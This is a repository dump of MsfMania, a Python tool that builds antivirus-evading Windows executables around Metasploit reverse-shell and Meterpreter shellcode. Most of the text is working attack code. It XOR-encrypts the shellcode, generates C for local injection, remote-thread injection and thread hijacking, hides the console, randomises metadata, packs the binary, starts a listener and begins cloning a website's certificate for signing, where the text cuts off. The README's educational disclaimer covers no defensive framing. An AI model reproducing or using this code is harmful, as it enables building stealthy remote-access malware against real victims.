├── LICENSE ├── MsfMania.png ├── MsfMania.py ├── README.md ├── VirusTotal.png └── lib ├── builder.py ├── compiler.py ├── core.py ├── encryption.py └── evasion.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) [2025] [lepotekil] 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /MsfMania.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lepotekil/MsfMania/fb260a9f9f215471d1fe11a9f413ebf640fa3dc2/MsfMania.png -------------------------------------------------------------------------------- /MsfMania.py: -------------------------------------------------------------------------------- 1 | from lib import builder, compiler, core, encryption, evasion 2 | import argparse 3 | from os import makedirs, path 4 | from shutil import which 5 | from subprocess import call 6 | 7 | 8 | types = "" 9 | arch = "" 10 | payload = "" 11 | custom_shellcode = "" 12 | lhost = "lhost=" 13 | lport = "lport=" 14 | msfvenom = [] 15 | filename = "" 16 | injection_type = "" 17 | procname = "" 18 | junkcode = "" 19 | sleep = "" 20 | req_admin = "" 21 | final_code = "" 22 | icon = "" 23 | 24 | 25 | def check_requirements(): 26 | required = ["x86_64-w64-mingw32-windres", "x86_64-w64-mingw32-gcc", "i686-w64-mingw32-windres", "i686-w64-mingw32-gcc", "rar", "msfvenom", "osslsigncode", "upx"] 27 | to_install = ["mingw-w64", "rar", "metasploit-framework", "osslsigncode"] 28 | not_installed = [] 29 | for i in required: 30 | a = which(i) 31 | if a is None: 32 | core.not_installed(i) 33 | not_installed.append(i) 34 | 35 | if len(not_installed) != 0: 36 | for package in to_install: 37 | call(['apt-get', '-y', 'install', package]) 38 | 39 | 40 | def check_directory(): 41 | directories = ["./output", "./tmp", "./icon"] 42 | for i in directories: 43 | if not path.isdir(i): 44 | makedirs(i) 45 | 46 | 47 | def check_payload_requirements(): 48 | if args.payload: 49 | if args.lhost: 50 | if args.lport: 51 | if args.injectiontype: 52 | pass 53 | else: 54 | core.error_payload_injectiontype() 55 | else: 56 | core.error_payload_lport() 57 | else: 58 | core.error_payload_lhost() 59 | elif args.shellcustom: 60 | pass 61 | else: 62 | core.error_payload_required() 63 | 64 | 65 | def staged_or_no(): 66 | is_staged_payload = "meterpreter/" 67 | if is_staged_payload in args.payload: 68 | return "yes" 69 | else: 70 | return "no" 71 | 72 | 73 | def check_payload(): 74 | if args.payload: 75 | tpayload = str(args.payload) 76 | return tpayload 77 | else: 78 | return "" 79 | 80 | 81 | def check_customopt(): 82 | msfcommand = ['msfvenom', '-a', arch, '--platform', 'windows', '-p', payload, lhost, lport, '-f', 'c'] 83 | if args.msfcustom: 84 | customopt = args.msfcustom 85 | customopt = customopt.split(" ") 86 | for i in customopt: 87 | msfcommand.append(i) 88 | return msfcommand 89 | else: 90 | return msfcommand 91 | 92 | 93 | def check_procname(): 94 | injtype = str(args.injectiontype) 95 | if injtype == "remote": 96 | if args.procname: 97 | procn = str(args.procname) 98 | return procn 99 | else: 100 | core.error_injectiontype() 101 | elif injtype == "hijack": 102 | if args.procname: 103 | procn = str(args.procname) 104 | return procn 105 | else: 106 | core.error_injectiontype() 107 | 108 | elif injtype == "local": 109 | return "" 110 | 111 | 112 | def junkcode_check(): 113 | if args.junk: 114 | add_junk = "yes" 115 | return add_junk 116 | else: 117 | return "" 118 | 119 | 120 | def check_sleep(): 121 | if args.sleep: 122 | mseconds = str(args.sleep) + "000" 123 | sleep_stub = evasion.sleeper(mseconds) 124 | core.sleep_added(str(args.sleep)) 125 | return sleep_stub 126 | else: 127 | return "" 128 | 129 | 130 | def check_admin(): 131 | if args.admin: 132 | return "yes" 133 | else: 134 | return "no" 135 | 136 | 137 | def check_spoof(): 138 | if args.spoof: 139 | remote_cert = args.spoof 140 | if ":" in remote_cert: 141 | remote_cert = remote_cert.split(":") 142 | evasion.spoofer(remote_cert[0], remote_cert[1], filename, "output/malware.exe") 143 | else: 144 | core.bad_certificate() 145 | else: 146 | return "" 147 | 148 | 149 | def write_file(): 150 | with open('tmp/source.c', 'w') as f: 151 | f.write(final_code) 152 | 153 | 154 | def check_icon(): 155 | if args.icon: 156 | ico = args.icon 157 | if ".ico" in ico: 158 | if len(ico) > 4: 159 | if path.exists("icon/" + ico): 160 | return ico 161 | else: 162 | core.error_icon_file(ico) 163 | else: 164 | core.error_icon(ico) 165 | else: 166 | core.error_icon(ico) 167 | else: 168 | return "" 169 | 170 | 171 | def check_upx(): 172 | if args.upx: 173 | compiler.upx(filename) 174 | else: 175 | return "no" 176 | 177 | 178 | def check_compression(): 179 | if args.compress: 180 | compiler.rar(filename) 181 | else: 182 | return "no" 183 | 184 | 185 | def check_file_size(): 186 | fs = path.getsize(filename) 187 | return fs 188 | 189 | 190 | def file_size(): 191 | if args.upx: 192 | core.packed_file_changes(original_file_size, packed_file_size) 193 | else: 194 | core.file_size(original_file_size) 195 | 196 | 197 | def check_hashfile(): 198 | if args.hash: 199 | hash_type = args.hash 200 | compiler.hash_file(filename, hash_type) 201 | 202 | 203 | def check_mscript(): 204 | if args.mscript: 205 | core.mscript(payload, lhost, lport) 206 | else: 207 | return "" 208 | 209 | 210 | if __name__ == '__main__': 211 | core.banner() 212 | check_requirements 213 | check_directory() 214 | 215 | parser = argparse.ArgumentParser() 216 | parser.add_argument("-a", "--arch", help="Choose payload arch.", choices=["x86", "x64"], required=True) 217 | parser.add_argument("-p", "--payload", help="Choose the metasploit payload (ex: windows/x64/meterpreter/reverse_tcp).", required=False) 218 | parser.add_argument("-lh", "--lhost", help="Set your lhost (ex: 192.168.1.60).", required=False) 219 | parser.add_argument("-lp", "--lport", help="Set your lport (ex: 4444).", required=False) 220 | parser.add_argument("-cO", "--msfcustom", help="Set your own msfvenom option (ex: -cO='-e x64/xor_dynamic'.", required=False) 221 | parser.add_argument("-o", "--filename", help="Choose the name of the output file (ex: Malware).", required=True) 222 | parser.add_argument("-it", "--injectiontype", help="Set injection method (remote only for x64 architechture.)", choices=["local", "remote", "hijack"], required=True) 223 | parser.add_argument("-pn", "--procname", help="Choose process to inject shellcode for remote injection method (default/ex: explorer.exe).", required=False) 224 | parser.add_argument("-j", "--junk", help="Inject junkcode everywhere.", action='store_true', required=False) 225 | parser.add_argument("-s", "--sleep", help="Indicate the number of seconds to sleep before the execution of the payload and command.", required=False) 226 | parser.add_argument("-A", "--admin", help="Administrator privileges are required to run the program.", action='store_true', required=False) 227 | parser.add_argument("-sc", "--spoof", help="Creates a spoofed certificate of any online website and signs the PE (ex: www.test.com:443).", required=False) 228 | parser.add_argument("-i", "--icon", help="Add your icon to PE file (ex: my_icon_name.ico).", required=False) 229 | parser.add_argument("--upx", help="Pack PE file with UPX.", action='store_true', required=False) 230 | parser.add_argument("--compress", help="Compress PE file with RAR.", action='store_true', required=False) 231 | parser.add_argument("--hash", help="Get hash file.", choices=["sha256", "md5"], required=False) 232 | parser.add_argument("-ms", "--mscript", help="Run pre-configured MsfConsole.", action='store_true', required=False) 233 | args = parser.parse_args() 234 | 235 | check_payload_requirements() 236 | types += staged_or_no() 237 | arch += str(args.arch) 238 | payload += check_payload() 239 | lhost += str(args.lhost) 240 | lport += str(args.lport) 241 | msfvenom += check_customopt() 242 | vshellcode, decoder_stub = encryption.shellcode_generation(msfvenom) 243 | filename += "output/" + str(args.filename) + ".exe" 244 | injection_type += str(args.injectiontype) 245 | procname += check_procname() 246 | junkcode += junkcode_check() 247 | sleep += check_sleep() 248 | req_admin += check_admin() 249 | final_code += builder.exercise_room(arch, injection_type, procname, filename, junkcode, sleep, vshellcode, decoder_stub) 250 | write_file() 251 | icon += check_icon() 252 | compiler.auto_compile(filename, arch, icon, req_admin) 253 | original_file_size = check_file_size() 254 | check_spoof() 255 | check_upx() 256 | packed_file_size = check_file_size() 257 | file_size() 258 | check_compression() 259 | check_hashfile() 260 | check_mscript() 261 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MsfMania 2 | MsfMania is a Python-based command-line tool specifically designed to bypass antivirus detection on Windows systems. 3 | 4 | ![alt text](https://github.com/lepotekil/MsfMania/blob/master/VirusTotal.png) 5 | 6 | ![alt text](https://github.com/lepotekil/MsfMania/blob/master/MsfMania.png) 7 | 8 | ## Summary 9 | * [Features](#Features) 10 | * [Requirements](#Requirements) 11 | * [Installation](#Installation) 12 | * [Usage](#Usage) 13 | 14 | ## Features 15 | - Polymorphic C/C++ source code. 16 | - x86/x64 staged/stageless Windows payload meterpreter/shell. 17 | - Local & remote memory injection 18 | - XOR encryption. 19 | - Sandbox and Antivirus Evasion. 20 | - Junk code injection. 21 | - Run as Administrator. 22 | - Executable customizable with an icon. 23 | - Cross-compiler with MinGW. 24 | - RAR algorithm compression. 25 | - Automatic Metasploit configuration. 26 | - Sign executable with a spoofed certificate. 27 | - UPX Packer 28 | 29 | ## Requirements 30 | - Latest version of Kali distribution 31 | - Python3 32 | 33 | ## Installation 34 | - Git clone this repository: ```git clone https://github.com/lepotekil/MsfMania.git``` 35 | - cd into the MsfMania folder: ```cd MsfMania``` 36 | - Good penetration testing 37 | 38 | ## Usage 39 | ``` 40 | python3 MsfMania.py -h 41 | ``` 42 | 43 | ## Disclaimer 44 | This project is for educational purposes only. Use it at your own risk. 45 | 46 | ## License 47 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. 48 | -------------------------------------------------------------------------------- /VirusTotal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lepotekil/MsfMania/fb260a9f9f215471d1fe11a9f413ebf640fa3dc2/VirusTotal.png -------------------------------------------------------------------------------- /lib/builder.py: -------------------------------------------------------------------------------- 1 | from lib import core, evasion 2 | 3 | 4 | def exercise_room(arch, inject_type, procname, filename, junkcode, sleep, vshellcode, decoder_stub): 5 | exec_code = "" 6 | raw_code = "" 7 | final_code = "" 8 | if inject_type == "local": 9 | exec_code += local_ti(vshellcode, decoder_stub) 10 | raw_code += body_builder(arch, filename, sleep, exec_code) 11 | 12 | elif inject_type == "remote": 13 | exec_code += remote_ti(procname, vshellcode, decoder_stub) 14 | raw_code += body_builder(arch, filename, sleep, exec_code) 15 | 16 | elif inject_type == "hijack": 17 | exec_code += remote_pth(procname, vshellcode, decoder_stub, arch) 18 | raw_code += body_builder(arch, filename, sleep, exec_code) 19 | 20 | if junkcode == "yes": 21 | final_code += evasion.junk_inject(raw_code) 22 | else: 23 | final_code += raw_code 24 | 25 | final_code = headers() + final_code 26 | return final_code 27 | 28 | 29 | def body_builder(arch, filename, sleep, exec_code): 30 | raw_code = main() 31 | raw_code += evasion.the_great_evasion(arch, filename) 32 | raw_code += sleep 33 | raw_code += exec_code 34 | return raw_code 35 | 36 | 37 | def headers(): 38 | header = ["#include \n", "#include \n", "#include \n", "#include \n", "#include \n", "#include \n", "#include \n", '#include \n'] 39 | lheaders = "" 40 | for i in header: 41 | lheaders += i 42 | return lheaders 43 | 44 | 45 | def main(): 46 | hWnd = core.varname_creator() 47 | hw = "int main(int argc, char * argv[]){" 48 | hw += f"HWND {hWnd} = GetConsoleWindow();" 49 | hw += f"ShowWindow({hWnd}, SW_HIDE);\n" 50 | return hw 51 | 52 | 53 | def local_ti(vshellcode, decoder_stub): 54 | execs = core.varname_creator() 55 | lti = decoder_stub 56 | lti += f"\nvoid *{execs} = VirtualAlloc(0, sizeof {vshellcode}, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n" 57 | lti += f"memcpy({execs}, {vshellcode}, sizeof {vshellcode});\n" 58 | lti += f"((void(*)()){execs})();\n" 59 | lti += "}" 60 | return lti 61 | 62 | 63 | def remote_ti(procname, vshellcode, decoder_stub): 64 | entry = core.varname_creator() 65 | snapshot = core.varname_creator() 66 | process_handle = core.varname_creator() 67 | remote_thread = core.varname_creator() 68 | remote_buffer = core.varname_creator() 69 | rti = decoder_stub 70 | rti += f"\nPROCESSENTRY32 {entry};\n" 71 | rti += f"{entry}.dwSize = sizeof(PROCESSENTRY32);\n" 72 | rti += f"HANDLE {snapshot} = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);" 73 | rti += f"if (Process32First({snapshot}, &{entry}) == TRUE)" + "{" 74 | rti += f"while (Process32Next({snapshot}, &{entry}) == TRUE)" + "{" 75 | rti += f'if (stricmp({entry}.szExeFile, "{procname}") == 0)' + "{\n" 76 | rti += f"HANDLE {process_handle};\n" 77 | rti += f"HANDLE {remote_thread};\n" 78 | rti += f"PVOID {remote_buffer};\n" 79 | rti += f"{process_handle} = OpenProcess(PROCESS_ALL_ACCESS, FALSE, " + entry + ".th32ProcessID);\n" 80 | rti += f"{remote_buffer} = VirtualAllocEx({process_handle}, NULL, sizeof {vshellcode}, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);\n" 81 | rti += f"WriteProcessMemory({process_handle}, {remote_buffer}, {vshellcode}, sizeof {vshellcode}, NULL);\n" 82 | rti += f"{remote_thread} = CreateRemoteThread({process_handle}, NULL, 0, (LPTHREAD_START_ROUTINE){remote_buffer}, NULL, 0, NULL);\n" 83 | rti += f"CloseHandle({process_handle});" 84 | rti += "}}}" 85 | rti += f"CloseHandle({snapshot});" 86 | rti += "}" 87 | return rti 88 | 89 | 90 | def remote_pth(procname, vshellcode, decoder_stub, arch): 91 | entry = core.varname_creator() 92 | snapshot0 = core.varname_creator() 93 | targetProcessHandle = core.varname_creator() 94 | remoteBuffer = core.varname_creator() 95 | threadHijacked = core.varname_creator() 96 | snapshot1 = core.varname_creator() 97 | threadEntry = core.varname_creator() 98 | context = core.varname_creator() 99 | contextArch = "Rip" 100 | if arch == "x86": 101 | contextArch = "Eip" 102 | rpth = decoder_stub 103 | rpth += f"\nPROCESSENTRY32 {entry};" 104 | rpth += f"{entry}.dwSize = sizeof(PROCESSENTRY32);" 105 | rpth += f"HANDLE {snapshot0} = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);" 106 | rpth += f"if (Process32First({snapshot0}, &{entry}) == TRUE)" + "{" 107 | rpth += f"while (Process32Next({snapshot0}, &{entry}) == TRUE)" + "{" 108 | rpth += f'if (stricmp({entry}.szExeFile, "{procname}") == 0)' + "{" 109 | rpth += f"HANDLE {targetProcessHandle};" 110 | rpth += f"PVOID {remoteBuffer};" 111 | rpth += f"HANDLE {threadHijacked }= NULL;" 112 | rpth += f"HANDLE {snapshot1};" 113 | rpth += f"THREADENTRY32 {threadEntry};" 114 | rpth += f"CONTEXT {context};" 115 | rpth += f"{context}.ContextFlags = CONTEXT_FULL;" 116 | rpth += f"{threadEntry}.dwSize = sizeof(THREADENTRY32);" 117 | rpth += f"{targetProcessHandle} = OpenProcess(PROCESS_ALL_ACCESS, FALSE, {entry}.th32ProcessID);" 118 | rpth += f"{remoteBuffer} = VirtualAllocEx({targetProcessHandle}, NULL, sizeof {vshellcode}, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);" 119 | rpth += f"WriteProcessMemory({targetProcessHandle}, {remoteBuffer}, {vshellcode}, sizeof {vshellcode}, NULL);" 120 | rpth += f"{snapshot1} = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);" 121 | rpth += f"Thread32First({snapshot1}, &{threadEntry});" 122 | rpth += f"while (Thread32Next({snapshot1}, &{threadEntry}))" + "{" 123 | rpth += f"if ({threadEntry}.th32OwnerProcessID == {entry}.th32ProcessID)" + "{" 124 | rpth += f"{threadHijacked} = OpenThread(THREAD_ALL_ACCESS, FALSE, {threadEntry}.th32ThreadID);" + "break;}}" 125 | rpth += f"SuspendThread({threadHijacked});" 126 | rpth += f"GetThreadContext({threadHijacked}, &{context});" 127 | rpth += f"{context}.{contextArch} = (DWORD_PTR){remoteBuffer};" 128 | rpth += f"SetThreadContext({threadHijacked}, &{context});" 129 | rpth += f"ResumeThread({threadHijacked});" + "}}}" 130 | rpth += f"CloseHandle({snapshot0});" + "}" 131 | return rpth 132 | -------------------------------------------------------------------------------- /lib/compiler.py: -------------------------------------------------------------------------------- 1 | from lib import core 2 | from os import system, chdir 3 | from subprocess import check_call, PIPE 4 | from random import randint 5 | from hashlib import sha256, md5 6 | 7 | 8 | def auto_compile(filename, architecture, icon, require_admin): 9 | compiler = [] 10 | if architecture == "x64": 11 | compiler += ["x86_64-w64-mingw32-windres", "x86_64-w64-mingw32-gcc"] 12 | else: 13 | compiler += ["i686-w64-mingw32-windres", "i686-w64-mingw32-gcc"] 14 | 15 | rc = "" 16 | if icon != "": 17 | rc += 'id ICON "icon/' + ''.join((icon, '"\n')) 18 | rc += rc_info_maker(filename, require_admin) 19 | else: 20 | rc += rc_info_maker(filename, require_admin) 21 | 22 | with open('tmp/MsfMania.rc', 'w') as f: 23 | f.write(rc) 24 | 25 | system(f"{compiler[0]} tmp/MsfMania.rc -O coff -o tmp/MsfMania.res && {compiler[1]} tmp/source.c tmp/MsfMania.res -Wl,-Bstatic -lpsapi -static -s -w -o {filename} && rm -rf tmp/") 26 | core.compilation_completed() 27 | 28 | 29 | def upx(filename): 30 | filename = filename.replace("output/", "") 31 | chdir("output/") 32 | # use "--ultra-brute" or "--lzma" 33 | system(f"upx --ultra-brute {filename} --compress-icons=1 -qqq") 34 | core.pe_packed() 35 | chdir("..") 36 | 37 | 38 | def rar(filename): 39 | chdir("output/") 40 | archive = filename.replace('.exe', '.rar') 41 | archive = archive.replace('output/', '') 42 | filename = filename.replace('output/', '') 43 | compress = ['rar', 'a', '-m5', archive, filename] 44 | check_call(compress, stdout=PIPE) 45 | core.rar_compressed() 46 | chdir("..") 47 | 48 | 49 | def hash_file(filename, algo_hash): 50 | if algo_hash == "sha256": 51 | hash_type = "SHA256" 52 | hash_sha256 = sha256() 53 | with open(filename, "rb") as f: 54 | for chunk in iter(lambda: f.read(4096), b""): 55 | hash_sha256.update(chunk) 56 | core.file_hash(hash_type, hash_sha256.hexdigest()) 57 | 58 | elif algo_hash == "md5": 59 | hash_type = "MD5" 60 | hash_md5 = md5() 61 | with open(filename, "rb") as f: 62 | for chunk in iter(lambda: f.read(4096), b""): 63 | hash_md5.update(chunk) 64 | core.file_hash(hash_type, hash_md5.hexdigest()) 65 | 66 | 67 | def rc_info_maker(filename, require_admin): 68 | rc_info = "" 69 | 70 | if require_admin == "yes": 71 | filename = filename.replace("output", "tmp") + '.manifest"' 72 | rc_info += '1 MANIFEST "' + filename + "\n" 73 | admin_privs(filename) 74 | 75 | rc_info += "1 VERSIONINFO\n" 76 | rc_info += f"FILEVERSION {str(rc_version())},{str(rc_version())}\n" 77 | rc_info += f"PRODUCTVERSION {str(rc_version())},{str(rc_version())}\n" 78 | rc_info += "BEGIN\n" + 'BLOCK "StringFileInfo"\n' 79 | rc_info += "BEGIN\n" 80 | rc_info += 'BLOCK "080904E4"\n' 81 | rc_info += 'BEGIN\n' 82 | rc_info += f'VALUE "CompanyName", "{str(core.varname_creator())}"\n' 83 | rc_info += f'VALUE "FileDescription", "{str(core.varname_creator())}"\n' 84 | rc_info += f'VALUE "FileVersion", "{str(rc_version())}.{str(rc_version())}"\n' 85 | rc_info += f'VALUE "InternalName", "{str(core.varname_creator())}"\n' 86 | rc_info += f'VALUE "LegalCopyright", "{str(core.varname_creator())}"\n' 87 | rc_info += f'VALUE "OriginalFilename", "{str(core.varname_creator())}"\n' 88 | rc_info += f'VALUE "ProductName", "{str(core.varname_creator())}"\n' 89 | rc_info += f'VALUE "ProductVersion", "{str(rc_version())}.{str(rc_version())}"\n' 90 | rc_info += 'END\n' 91 | rc_info += 'END\n' 92 | rc_info += 'BLOCK "VarFileInfo"\n' 93 | rc_info += 'BEGIN\n' 94 | rc_info += 'VALUE "Translation", 0x809, 1252\n' 95 | rc_info += 'END\n' 96 | rc_info += 'END\n' 97 | return rc_info 98 | 99 | 100 | def rc_version(): 101 | var_rc_version = str(randint(1, 9999999)) 102 | return var_rc_version 103 | 104 | 105 | def admin_privs(filename): 106 | manifest = '\n' 107 | manifest += '\n' 108 | manifest += '\n' 109 | manifest += '\n' 110 | manifest += '\n' 111 | manifest += '\n' 112 | manifest += '\n' 113 | manifest += '\n' 114 | manifest += '\n' 115 | manifest += '\n' 116 | 117 | filename = filename.replace('"', '') 118 | with open(filename, 'w') as f: 119 | f.write(manifest) 120 | -------------------------------------------------------------------------------- /lib/core.py: -------------------------------------------------------------------------------- 1 | from string import ascii_letters 2 | from random import randint, SystemRandom 3 | from os import system 4 | 5 | 6 | blue = '\033[94m' 7 | green = '\033[92m' 8 | ocra = '\033[93m' 9 | red = '\033[91m' 10 | endc = '\033[0m' 11 | bold = '\033[1m' 12 | underline = '\033[4m' 13 | darkcyan = '\033[36m' 14 | 15 | 16 | def varname_creator(): 17 | varname = ''.join(SystemRandom().choice(ascii_letters) for _ in range(randint(8, 12))) 18 | return varname 19 | 20 | 21 | def mscript(payload, lhost, lport): 22 | lhost = lhost.replace("lhost=", "") 23 | lport = lport.replace("lport=", "") 24 | if "meterpreter" in payload: 25 | system(f'msfconsole -x "use exploits/multi/handler; set lhost {lhost }; set lport {lport}; set payload {payload}; set AutoLoadStdapi false; set AutoSystemInfo false; set AutoVerifySession false; exploit -j -z" ') 26 | 27 | elif "shell" in payload: 28 | system(f'msfconsole -x "use exploits/multi/handler; set lhost {lhost }; set lport {lport}; set payload {payload}; exploit -j -z"') 29 | 30 | 31 | def banner(): 32 | # Univers ASCII banner 33 | print(bold + """ 34 | ███╗ ███╗███████╗███████╗███╗ ███╗ █████╗ ███╗ ██╗██╗ █████╗ 35 | ████╗ ████║██╔════╝██╔════╝████╗ ████║██╔══██╗████╗ ██║██║██╔══██╗ 36 | ██╔████╔██║███████╗█████╗ ██╔████╔██║███████║██╔██╗ ██║██║███████║ 37 | ██║╚██╔╝██║╚════██║██╔══╝ ██║╚██╔╝██║██╔══██║██║╚██╗██║██║██╔══██║ 38 | ██║ ╚═╝ ██║███████║██║ ██║ ╚═╝ ██║██║ ██║██║ ╚████║██║██║ ██║ 39 | ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝╚═╝ ╚═╝ 40 | Version : 2.4 - Author : Killian CASAROTTO - Updated : 08/03/2021 41 | """ + endc) 42 | 43 | 44 | def not_installed(package): 45 | print(f"{red + bold}[x] '" + package + f"' is not installed.{endc}\n") 46 | 47 | 48 | def error_payload_lhost(): 49 | print(f"{red + bold}[x] The payload needs the '-lh' or '--lhost' argument.\n{endc + bold}Exiting...{endc}\n") 50 | exit() 51 | 52 | 53 | def error_payload_lport(): 54 | print(f"{red + bold}[x] The payload needs the '-lp' or '--lport' argument.\n{endc + bold}Exiting...{endc}\n") 55 | exit() 56 | 57 | 58 | def error_copt_nomsf(): 59 | print(f"{red + bold}[x] You can't add msf command without adding msf shellcode.\n{endc + bold}Exiting...{endc}\n") 60 | exit() 61 | 62 | 63 | def error_payload_required(): 64 | print(f"{red + bold}[x] Msf payload or custom payload is required.{endc + bold}\nExiting...{endc}\n") 65 | exit() 66 | 67 | 68 | def error_payload_injectiontype(): 69 | print(f"{red + bold}[x] The payload needs the '-it' or '--injectiontype' argument.{endc + bold}\nExiting...{endc}\n") 70 | exit() 71 | 72 | 73 | def error_injectiontype(): 74 | print(f"{red + bold}[x] 'Remote Thread Injection' or 'Remote Thread Hijack' requiere '-pn' argument.{endc}\n") 75 | exit() 76 | 77 | 78 | def error_procname(processname): 79 | print(f"{red + bold}[x] The specified process name is incorrect '{endc}{bold}{processname}'.\nExiting...{endc}\n") 80 | exit() 81 | 82 | 83 | def error_icon(icon): 84 | print(f"{red + bold}[x] The specified icon name is incorrect {endc + bold}'" + icon + "'.\nExiting...{endc}\n") 85 | exit() 86 | 87 | 88 | def error_icon_file(icon): 89 | print(f"{red + bold}[x] The specified icon filename does not exist {endc + bold}'" + icon + "'.\nExiting...{endc}\n") 90 | exit() 91 | 92 | 93 | def shellcode_generated(): 94 | print(f"\n{bold}[+] Shellcode generated.{endc}\n") 95 | 96 | 97 | def shellcode_encrypted(): 98 | print(f"{bold}[+] Shellcode encrypted.{endc}\n") 99 | 100 | 101 | def sleep_added(seconds): 102 | print(f"{bold}[+] {seconds} seconds delay before payloads execution.{endc}\n") 103 | 104 | 105 | def evasion_added(): 106 | print(f"{bold}[+] Evasion code added.{endc}\n") 107 | 108 | 109 | def junkcode_added(): 110 | print(f"{bold}[+] Junkcode added.{endc}\n") 111 | 112 | 113 | def compilation_completed(): 114 | print(f"{bold}[+] File compiled and stripped.{endc}\n") 115 | 116 | 117 | def pe_signed(certificate): 118 | print(f"{bold}[+] PE file signed with spoofed certificate from {certificate}{endc}\n") 119 | 120 | 121 | def bad_certificate(ex): 122 | print(f"{red + bold}[x] There is an error in the specified certificate. The executable file has not been signed.\n{ex}{endc}\n") 123 | 124 | 125 | def file_size(fs): 126 | print(f"{bold}[+] Final PE size: {fs} bytes.\n{endc}") 127 | 128 | 129 | def packed_file_changes(fs0, fs1): 130 | print(f"{bold}[+] Final PE file size: {fs0} ==> {fs1} bytes.{endc}\n") 131 | 132 | 133 | def pe_packed(): 134 | print(f"{bold}[+] PE file packed with UPX.\n{endc}") 135 | 136 | 137 | def rar_compressed(): 138 | print(f"{bold}[+] PE file compressed to RAR file.{endc}\n") 139 | 140 | 141 | def file_hash(hash_type, hash_code): 142 | print(f"{bold}[+] {hash_type} hash: {hash_code}{endc}\n") 143 | -------------------------------------------------------------------------------- /lib/encryption.py: -------------------------------------------------------------------------------- 1 | from lib import core 2 | from subprocess import PIPE, run 3 | from os import urandom 4 | from random import randint 5 | from binascii import hexlify 6 | 7 | 8 | def shellcode_generation(msfvenom): 9 | shellcode = run(msfvenom, shell=False, stdout=PIPE).stdout.decode('utf-8') 10 | shellcode = shellcode.replace("unsigned char buf[] =", "").replace('"', '').replace("\n", "").replace(" ", "").replace(";", "") 11 | core.shellcode_generated() 12 | encrypted_shellcode, key = shellcode_encryption(shellcode) 13 | vshellcode, stub = decrypt_stub(encrypted_shellcode, key) 14 | core.shellcode_encrypted() 15 | return vshellcode, stub 16 | 17 | 18 | def shellcode_encryption(shellcode): 19 | key = keygen(randint(192, 256)) 20 | encrypted_shellcode = xor(shellcode.encode('latin-1'), key) 21 | encrypted_shellcode = readable(encrypted_shellcode) 22 | key = readable(key) 23 | return encrypted_shellcode, key 24 | 25 | 26 | def xor(data, key): 27 | while len(key) < len(data): 28 | key = key * 2 29 | data = data.decode('unicode-escape').encode('latin-1') 30 | return bytes(x ^ y for x, y in zip(data, key[:len(data)])) 31 | 32 | 33 | def keygen(keylen): 34 | return urandom(keylen) 35 | 36 | 37 | def readable(data): 38 | data = hexlify(data) 39 | pdata = "" 40 | data = data.decode('ascii') 41 | for i in range(0, len(data) - 1, 2): 42 | pdata += "\\x" + data[i] + data[i + 1] 43 | return pdata 44 | 45 | 46 | def decrypt_stub(encrypted_shellcode, key): 47 | eshellcode = core.varname_creator() 48 | dkey = core.varname_creator() 49 | vshellcode = core.varname_creator() 50 | j = core.varname_creator() 51 | i = core.varname_creator() 52 | stub = "char " + eshellcode + "[]=" + '"' + encrypted_shellcode + '";\n' 53 | stub += "char " + dkey + "[]=" + '"' + key + '";\n' 54 | stub += "char " + vshellcode + "[sizeof " + eshellcode + "];\n" 55 | stub += "int " + j + "=0;\n" 56 | stub += "for (int " + i + "=0; " + i + "< sizeof " + eshellcode + "; " + i + "++){\n" 57 | stub += "if (" + j + "== sizeof " + dkey + "-1) " + j + "=0;\n" 58 | stub += vshellcode + "[" + i + "]=" + eshellcode + "[" + i + "] ^ " + dkey + "[" + j + "];\n" 59 | stub += j + "++;}\n" 60 | 61 | return vshellcode, stub 62 | 63 | -------------------------------------------------------------------------------- /lib/evasion.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | from lib import core 4 | from OpenSSL import crypto 5 | from pathlib import Path 6 | from ssl import get_server_certificate 7 | from subprocess import call, PIPE 8 | from os import system 9 | from random import randrange, randint, uniform, shuffle 10 | 11 | 12 | def spoofer(host, port, filename, out): 13 | TIMESTAMP_URL = "http://sha256timestamp.ws.symantec.com/sha256/timestamp" 14 | try: 15 | ogcert = get_server_certificate((host, int(port))) 16 | x509 = crypto.load_certificate(crypto.FILETYPE_PEM, ogcert) 17 | certDir = Path('certs') 18 | certDir.mkdir(exist_ok=True) 19 | 20 | # Creating Fake Certificate 21 | cncrt = certDir / (host + ".crt") 22 | cnkey = certDir / (host + ".key") 23 | PFXFILE = certDir / (host + ".pfx") 24 | 25 | # Creating Keygen 26 | k = crypto.PKey() 27 | k.generate_key(crypto.TYPE_RSA, ((x509.get_pubkey()).bits())) 28 | cert = crypto.X509() 29 | 30 | # Setting Cert details from loaded from the original Certificate 31 | cert.set_version(x509.get_version()) 32 | cert.set_serial_number(x509.get_serial_number()) 33 | cert.set_subject(x509.get_subject()) 